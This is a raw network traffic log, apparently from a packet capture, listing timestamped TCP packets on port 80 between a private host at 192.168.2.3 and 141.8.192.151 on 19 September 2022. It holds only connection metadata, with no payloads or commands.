Sep 19, 2022 22:37:05.364226103 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364243984 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364248037 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364263058 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364279032 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364285946 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364298105 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364315033 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364319086 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364332914 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364335060 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364352942 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364368916 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364373922 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364386082 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364403963 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364407063 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364419937 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364438057 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364440918 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364454985 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364458084 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364473104 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364480019 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364506960 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364516973 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364522934 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364537001 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364538908 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364554882 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364562988 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364573002 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364589930 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364595890 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364607096 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364624023 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364626884 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364640951 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364658117 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364660025 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364675999 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364689112 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364694118 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.364717007 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.364737988 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.365648031 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.401690960 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425108910 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425148964 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425177097 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425223112 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425225973 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425273895 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425303936 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425323963 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425349951 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425357103 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425378084 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425422907 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425424099 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425457954 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425487041 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425498009 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425512075 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425515890 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425522089 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425544024 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425549030 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425573111 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425580025 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425601959 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425612926 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425632954 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425662041 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425663948 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425673962 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425690889 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425698996 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425717115 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425729036 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425745010 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425750971 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425771952 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425782919 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425800085 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425808907 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425828934 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425836086 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425856113 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425879955 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425884008 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425889015 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425913095 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425919056 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425940037 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425951004 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425967932 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.425976038 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.425996065 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426002979 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426023006 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426047087 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426052094 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426059008 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426079035 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426086903 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426105976 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426115036 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426135063 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426141977 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426162004 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426170111 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426188946 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426199913 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426218033 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426224947 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426245928 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426254034 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426276922 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426285028 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426307917 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426328897 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426335096 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426363945 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426369905 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426389933 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426399946 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426418066 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426438093 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426445007 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426460981 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426477909 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426481009 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426506996 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426506996 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426533937 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426561117 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426584959 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426589966 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426594019 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426598072 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426616907 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426635981 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426640034 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.426656008 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.426702023 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:06.762046099 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:06.869159937 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:20.923512936 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:20.924092054 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:27.757539988 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:27.821746111 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.367378950 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.432449102 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.432586908 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.439168930 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.504024982 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505662918 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505695105 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505721092 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505731106 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505748987 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505759001 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505774975 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505795002 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505804062 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505827904 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505831003 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505844116 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505856991 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505866051 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505882978 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505892992 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505908966 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.505919933 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.505948067 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.508754969 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.508793116 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.511178970 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.570868015 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.570910931 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.570938110 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.570947886 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.570964098 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.570982933 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.570991039 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571017981 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571033955 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571043968 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571058035 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571070910 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571089983 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571098089 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571108103 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571125031 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571130991 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571151972 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571177006 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571178913 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571208000 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571228027 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571258068 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571289062 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571302891 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571315050 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571337938 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571342945 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571360111 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571388960 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571397066 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571415901 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571427107 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571444988 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571448088 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571470976 CEST	80	49706	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571496010 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571526051 CEST	49706	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.571667910 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.571754932 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.590423107 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.651010990 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.652973890 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653007984 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653034925 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653059006 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.653060913 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653081894 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.653086901 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653115988 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653125048 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.653145075 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653156042 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.653171062 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653192043 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.653198004 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653207064 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.653225899 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.653239012 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.653265953 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.713813066 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.713854074 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.713876009 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.713901997 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.713923931 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.713943958 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.713947058 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.713969946 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.713969946 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.713995934 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714006901 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714019060 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714029074 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714045048 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714066029 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714068890 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714093924 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714095116 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714118958 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714128971 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714143991 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714147091 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714167118 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714169979 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714185953 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714194059 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714209080 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714220047 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714234114 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714246988 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714260101 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714272022 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714287043 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714297056 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.714339972 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.714344025 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.776700020 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.776746988 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.776773930 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.776799917 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.776828051 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.776853085 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.776865959 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.776916027 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.776963949 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.776966095 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.776994944 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777019978 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777045965 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777075052 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777101994 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777122021 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777129889 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777149916 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777157068 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777174950 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777184963 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777201891 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777211905 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777230024 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777239084 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777257919 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777265072 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777282000 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777292013 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777307034 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777319908 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777335882 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777345896 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777364969 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777373075 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777390957 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777399063 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777415037 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777426958 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777452946 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777456045 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777479887 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777481079 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777506113 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777519941 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777533054 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777555943 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777559042 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777584076 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777595043 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777610064 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777636051 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777637959 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777674913 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777705908 CEST	49707	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:46.777796984 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777842999 CEST	80	49707	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:46.777844906 CEST	49707	80	192.168.2.3	141.8.192.151
